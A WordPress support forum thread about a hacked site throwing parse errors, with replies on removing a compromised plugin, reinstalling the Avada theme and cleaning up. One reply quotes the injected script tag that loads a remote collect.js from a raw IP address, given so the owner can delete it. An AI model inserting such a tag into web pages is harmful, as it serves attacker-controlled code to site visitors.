Title: Parse error: syntax error, unexpected &#039;{&#039;
Last modified: August 22, 2016

---

# Parse error: syntax error, unexpected '{'

 *  [Chris751](https://wordpress.org/support/users/chris751/)
 * (@chris751)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/)
 * I get the following error message when i try to load my site
 * Parse error: syntax error, unexpected ‘{‘ in /var/www/maigaardcavaliers.dk/public_html/
   wp-includes/load.php on line 508
 * i recently updated to the newest version of wordpress, but the error did not 
   occur until a while after.
    t my load.php file code looks like this :
 * What do i do, i cant acces anything
 * _[WAY too much code to post here – please use a pastebin ]_

Viewing 8 replies - 1 through 8 (of 8 total)

 *  [Flying Pebble](https://wordpress.org/support/users/flying-pebble/)
 * (@flying-pebble)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578365)
 * You have been hacked. To immediately fix the problem login through ftp and rename
   your traffic counter widget plugin folder to something else like “OLD_traffic-
   counter-widget” Then navigate to your theme folder and open your header.php file
   and remove this line. `<script type="text/javascript" src="http://122.155.168.105/
   ads/inpage/pub/collect.js"></script>`
 * Once that is done you should be able to see your site and log in. You aren’t 
   out of the woods yet, you need to download a security plugin that will scan your
   files, like sucuri or wordfence. You will need to do a fresh install and re install
   your plugins as well as your theme files. The problem is it will more than likely
   come back since they do not have a fix for it yet. Hope that helps.
 *  Thread Starter [Chris751](https://wordpress.org/support/users/chris751/)
 * (@chris751)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578430)
 * Thanks that makes sense. I have done the first steps. Now i am getting the following
   message:
    Parse error: syntax error, unexpected ‘}’ in /var/www/maigaardcavaliers.
   dk/public_html/wp-content/themes/Avada/header.php on line 2721
 * this is the section that has the error:
 * _[hacked code removed – please do not post that here]_
 *  [Dan Russell](https://wordpress.org/support/users/danrussell/)
 * (@danrussell)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578447)
 * Hello,
 * You should reinstall the Avada theme with the original zip from provider.
 *  [adnet](https://wordpress.org/support/users/akmaldesigns/)
 * (@akmaldesigns)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578459)
 * Guys can you help me too? Im getting hacked –> [http://sitecheck.sucuri.net/results/akmaldesigns.net/](http://sitecheck.sucuri.net/results/akmaldesigns.net/)
 * What should I do?
 *  [WPyogi](https://wordpress.org/support/users/wpyogi/)
 * (@wpyogi)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578460)
 * If your site has been hacked, you need to go through all of the steps to clean
   that up or it will happen again – see:
 * [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked)
   
   [http://wordpress.org/support/topic/268083#post-1065779](http://wordpress.org/support/topic/268083#post-1065779)
   [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/)
   [http://ottopress.com/2009/hacked-wordpress-backdoors/](http://ottopress.com/2009/hacked-wordpress-backdoors/)
 * Additional Resources:
    Hardening WordPress [http://sitecheck.sucuri.net/scanner/](http://sitecheck.sucuri.net/scanner/)
   [http://www.unmaskparasites.com/](http://www.unmaskparasites.com/) [http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html](http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html)
   [http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html](http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html)
 *  [WPyogi](https://wordpress.org/support/users/wpyogi/)
 * (@wpyogi)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578461)
 * Also, please don’t post hacked code on the forums here – if you need to post 
   if for someone to look at it, you can use a pastebin –
 * [http://codex.wordpress.org/Forum_Welcome#Posting_Code](http://codex.wordpress.org/Forum_Welcome#Posting_Code)
 *  [adnet](https://wordpress.org/support/users/akmaldesigns/)
 * (@akmaldesigns)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578462)
 * thanks for the advice, im currently trying to look for that stupid malware script
   in my files and it’s really pain in the @$$.
 * And right now I’m also replacing my old themes with newer version, if it fails,
   I’ll go nuts!
 * Thanks for the links man, I really appreciate it.
 *  [WPyogi](https://wordpress.org/support/users/wpyogi/)
 * (@wpyogi)
 * [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578463)
 * Yes, it’s a horrible pain in the …. ! Such a pointless waste of so many people’s
   time.
 * Here’s some good info about avoiding hacks next time around –
 * [http://codex.wordpress.org/Hardening_WordPress](http://codex.wordpress.org/Hardening_WordPress)

Viewing 8 replies - 1 through 8 (of 8 total)

The topic ‘Parse error: syntax error, unexpected '{'’ is closed to new replies.

## Tags

 * [parse-error](https://wordpress.org/support/topic-tag/parse-error/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 8 replies
 * 5 participants
 * Last reply from: [WPyogi](https://wordpress.org/support/users/wpyogi/)
 * Last activity: [11 years, 5 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-135/#post-5578463)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
